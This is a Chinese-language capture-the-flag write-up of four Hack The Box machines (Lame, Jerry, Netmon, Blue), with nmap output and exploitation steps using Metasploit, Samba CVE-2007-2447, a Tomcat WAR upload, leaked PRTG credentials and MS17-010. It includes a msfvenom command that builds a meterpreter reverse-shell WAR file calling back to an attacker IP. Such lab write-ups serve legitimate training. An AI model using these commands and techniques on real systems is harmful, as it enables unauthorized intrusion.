0x01 Lame
nmap -sTCV -Pn 10.10.10.3
21端口
开启了ftp服务器,简单来说ftp就是一个供用户上传下载文件的一个文件存储器,通过ftp协议访问。
同时也开启了smb共享,nmap会自动去扫描是否存在游客登陆也就是guest,这里显然并没有开启.
139和445端口
139和445端口都是共享端口,139用于NetBIOS over TCP/IP,是传统的文件打印共享协议。而445则是smb协议,提供更高效的文件和打印共享功能。
简单来说smb就是netbios的升级版,直接通过TCP/IP工作,避免了NetBIOS的额外开销。现代Windows系统通常使用端口445来进行这些操作,因为它能提供更好的性能和安全性。
这里能看到ftp使用的是vsftpd 2.3.4版本,此版本ftp笑脸漏洞,应由开发者设计上的失误导致。
21/tcp open ftp vsftpd 2.3.4
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.16.6
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)
|_smb2-time: Protocol negotiation failed (SMB2)
|_clock-skew: 1m03s
此漏洞可在msf上搜索到
这里能看到,虽然使用的是vsftpd2.3.4但是似乎并不存在此漏洞
继续收集信息,这里能看到这里smb使用的是samba
samba是一款设计为linux和unix提供实现在Windows服务器上共享文件和打印服务的windows操作系统套件
这里使用msf自带的扫描功能扫smb的版本信息
这里能看到使用的是samba3.0.20版本
尝试搜索此版本漏洞
存在漏洞CVE-2007-2447
产生原因是传递通过MS-RPC提供的未过滤的用户输入在调用定义的外部脚本时调用/bin/sh,在smb.conf中,导致允许远程命令执行。
使用此模块并设置攻击ip以及接收ip
拿到shell
进去就是root权限
0x02 Jerry
还是先扫端口
使用apache tomcat7.0.88版本
Starting Nmap 7.94 ( https://nmap.org ) at 2024-08-23 19:12 中国标准时间
Stats: 0:01:01 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.32% done; ETC: 19:13 (0:00:00 remaining)
Nmap scan report for 10.10.10.95
Host is up (0.44s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-title: Apache Tomcat/7.0.88
|_http-favicon: Apache Tomcat
|_http-server-header: Apache-Coyote/1.1
访问8080端口
尝试访问登录管理窗口
可以尝试hypra或者其他工具使用apach的弱口令暴力破解
这里我在尝试弱口令时发现,点击取消登录,会告诉你一个默认配置的账户密码,此账密就是登录用户密码
到这一步就好做了
appach tomcat此版本会将上传的war文件自动解压并执行,可以从msfvenom生成war包,上传后访问存在shell的目录就能拿到shell
WAR文件是Java EE标准的一部分,方便将Web应用程序从开发环境迁移到生产环境
生成war包
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.6 LPORT=8889 -f war -o shell.war
msf监听
这里注意,如果说生成的shell是windows/meterpreter/reverse_tcp这样的话,那么使用的监听payload也需要改为windows/meterpreter/reverse_tcp
还是同样设置监听端口然后启动
!!!!!这里端口设置错了,如果按照我的操作一步一步来的话这里应该设置为8889
这里首先得去读取一下war包里shell文件叫什么一会儿才能访问
记住shell名
上传war包
拿到shell
0x03 Netmon
首先使用nmap扫描,这里重点注意ftp匿名登录和80端口
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
| ftp-syst:
|_ SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-03-19 12:18AM 1024 .rnd
| 02-25-19 10:15PM <DIR> inetpub
| 07-16-16 09:18AM <DIR> PerfLogs
| 02-25-19 10:56PM <DIR> Program Files
| 02-03-19 12:28AM <DIR> Program Files (x86)
| 02-03-19 08:08AM <DIR> Users
|_11-10-23 10:20AM <DIR> Windows
80/tcp open http Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
| http-title: Welcome | PRTG Network Monitor (NETMON)
|_Requested resource was /index.htm
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
|_http-server-header: PRTG/18.1.37.13946
|_http-trane-info: Problem with XML parsing of /evox/about
135/tcp open msrpc Microsoft Windows RPC
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2024-08-26T01:05:27
|_ start_date: 2024-08-26T01:02:07
|_clock-skew: mean: -2s, deviation: 0s, median: -2s
|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)
80端口是PRTG 网络监视器
PRTG Network Monitor 是一款来自德国的网络监控软件,PRTG 是 Paessler Router Traffic Grapher 的简写。PRTG 运行于 Windows 平台,是一个部署简单、功能强大、可视化、集成式的网络监测解决方案,其区别于 Cacti、Zabbix 等最显著的优势是部署简单、开箱即用和丰富的可定制的图表,原生支持简体中文。
这里能发现登录入口简单尝试弱口令无果
尝试ftp匿名登陆
这里我使用的filezilla,能看到连接成功并且能访问c盘根目录
这里去尝试过访问user和administered的目录是没有权限的,尝试找敏感信息泄露,去找prtg网络监视器配置文件在哪,看能否获取账户信息或者一些其他信息
在 Windows 系统中,PRTG 网络监视器的默认配置文件位置通常是 C:\ProgramData\Paessler\PRTG Network Monitor
这里注意需要开启强制显示敏感文件才会出现programdata文件夹
访问此文件夹以后能看到prtg网络监视器的配置文件
这里的配置文件从后缀看明显有一个是现有配置文件,另一个是老配置文件的备份,这里明显感觉到是否可以将新旧文件对比,可能出现现有配置文件删除敏感信息但老文件没有修改的问题。
将两个文件进行对比,能发现将账密配置在了老文件的备份文件里
用户:prtgadmin
这里会有个问题,这是我根据引导模式提醒知道的,此密码是旧密码被修改过,这个配置文件里有写2019…………这一类的,后面的2018被修改为了2019。
旧密码:PrTg@dmin2018
新密码:PrTg@dmin2019
尝试登录
进来以后能看到他的版本信息,尝试使用nday打一下
搜索能看到低于2018版本存在此漏洞
尝试msf使用此漏洞攻击
使用此模块并查看需要配置的信息
设置用户密码攻击目标和攻击机ip
修改好后直接run,反弹端口看情况,如果和其他端口冲突可改
拿到最高权限
0x04 Blue
这一关就是最经典的永恒之蓝
nmap扫一遍
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
49152/tcp open msrpc Microsoft Windows RPC
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
49153/tcp open msrpc Microsoft Windows RPC
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
49154/tcp open msrpc Microsoft Windows RPC
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
49155/tcp open msrpc Microsoft Windows RPC
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
49156/tcp open msrpc Microsoft Windows RPC
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
49157/tcp open msrpc Microsoft Windows RPC
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
| smb2-security-mode:
| 2:1:0:
|_ Message signing enabled but not required
|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)
| smb2-time:
| date: 2024-08-26T01:42:16
|_ start_date: 2024-08-26T01:37:55
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
这里使用的smb2协议版本是2.1.0
SMB版本最新的是3.X,win7和vista是2.X。winXP是1.0主要的漏洞是由新版本的操作系统保持向下兼容带来,也就是说win10主机和winXP主机通过网络共享文件用的是SMB1.0协议
如果怀疑存在永恒之蓝,可以使用msf的smb扫描工具扫一遍或者直接百度smb版本是否存在漏洞
这里扫了便ms17_010能发现是存在此漏洞的
直接使用msf的poc打
拿到最高权限